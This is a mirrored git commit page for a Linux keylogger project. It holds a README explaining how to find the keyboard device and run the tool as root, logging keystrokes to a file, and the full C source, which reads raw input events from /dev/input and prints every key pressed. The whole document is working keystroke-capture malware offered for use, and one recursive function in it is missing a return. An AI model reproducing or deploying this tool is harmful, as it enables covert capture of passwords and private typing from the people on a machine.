1
0
mirror of https://github.com/dimkouv/Linux-Keylogger.git synced 2025-05-15 16:10:12 -07:00

Initial Commit

This commit is contained in:
Dim Kouv 2016-11-24 18:14:44 -05:00
parent 2ec8c21fac
commit 2bcf74b185
3 changed files with 204 additions and 0 deletions

25
README.md Normal file
View File

@ -0,0 +1,25 @@
# Linux Keylogger
# How to use
1. Find your keyboard device
Your keyboard device should be in the below format
```
/dev/input/eventX
```
Find it using
```sh
$ cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard
```
2. Run keylogger
```sh
$ sudo bin/keylogger /dev/input/eventX
```
3. Now whatever you type should be printed in the terminal.
If you want to keep in log file use
```sh
$ sudo bin/keylogger /dev/input/eventX > logfile.txt
```

BIN
bin/keylogger Executable file

Binary file not shown.

179
keylogger.c Normal file
View File

@ -0,0 +1,179 @@
#include <linux/input.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int get_key_press(int fd, struct input_event ev);
int input_has_errors(int argc, char *argv[]);
int user_is_root();
char * get_key_description(int key_code);
void generate_mappings(char ** mappings);
/*
* returns 0 if user is not root
* else returns 1
*/
int user_is_root() {
if (geteuid() != 0) {
puts("You should run this script as root");
puts("ex: sudo ./keylogger /dev/input/deviceX");
return 0;
}
return 1;
}
/*
* If no input device specified returns 1
* If no errors it returns 0
*/
int input_has_errors(int argc, char *argv[]) {
if(argc < 2) {
puts("No input device given.");
puts("Usage: './keylogger device'");
puts("Device should be /dev/input/device*");
puts("Find it using: `cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard`");
return 1;
}
return 0;
}
/*
* -Reads input event (key stroke)
* -Returns the key when it's released
* This means that by long pressing a key it only gets logged once.
* -If no key is pressed it calls itself recursively again
*/
int get_key_press(int fd, struct input_event ev) {
read(fd, &ev, sizeof(struct input_event));
// ev.value == 0 -> button is released
if (ev.type == 1 && ev.value == 0)
return ev.code;
// if no key pressed check again
get_key_press(fd, ev);
}
int main(int argc, char *argv[]) {
// Convert key codes to string values
// ex: mappings[code] = "value"
char * mappings[1024];
generate_mappings(mappings);
// Check for errors
if (input_has_errors(argc, argv)) {
return -1;
}
if (!user_is_root()) {
return -1;
}
// Start keyboard device as read only
int fd;
fd = open(argv[1], O_RDONLY);
// Initialize input event
struct input_event ev;
// Scan for key strokes and print them
while (1){
int key_code = get_key_press(fd, ev); // get key code
printf("%s\n",mappings[key_code]); // print value of key code
}
return 0;
}
/*
* Generates a value for each key stroke code
*/
void generate_mappings(char ** codes) {
codes[1] = "esc";
codes[59] = "f1";
codes[60] = "f2";
codes[61] = "f3";
codes[62] = "f4";
codes[63] = "f5";
codes[64] = "f6";
codes[65] = "f7";
codes[66] = "f8";
codes[67] = "f9";
codes[68] = "f10";
codes[87] = "f11";
codes[88] = "f12";
// --
codes[41] = "`";
codes[2] = "1";
codes[3] = "2";
codes[4] = "3";
codes[5] = "4";
codes[6] = "5";
codes[7] = "6";
codes[8] = "7";
codes[9] = "8";
codes[10] = "9";
codes[11] = "0";
codes[12] = "-";
codes[13] = "=";
codes[14] = "back";
// --
codes[15] = "tab";
codes[16] = "q";
codes[17] = "w";
codes[18] = "e";
codes[19] = "r";
codes[20] = "t";
codes[21] = "y";
codes[22] = "u";
codes[23] = "i";
codes[24] = "o";
codes[25] = "p";
codes[26] = "[";
codes[27] = "]";
codes[43] = "\\";
// --
codes[58] = "caps";
codes[30] = "a";
codes[31] = "s";
codes[32] = "d";
codes[33] = "f";
codes[34] = "g";
codes[35] = "h";
codes[36] = "j";
codes[37] = "k";
codes[38] = "l";
codes[39] = ";";
codes[40] = "\"";
codes[28] = "\n";
// --
codes[42] = "shift";
codes[44] = "z";
codes[45] = "x";
codes[46] = "c";
codes[47] = "v";
codes[48] = "b";
codes[49] = "n";
codes[50] = "m";
codes[51] = ",";
codes[52] = ".";
codes[53] = "/";
codes[54] = "shift";
// --
codes[29] = "ctrl";
codes[125] = "super";
codes[56] = "alt";
codes[57] = " ";
codes[100] = "alt";
codes[126] = "super";
codes[127] = "right click";
codes[97] = "ctrl";
}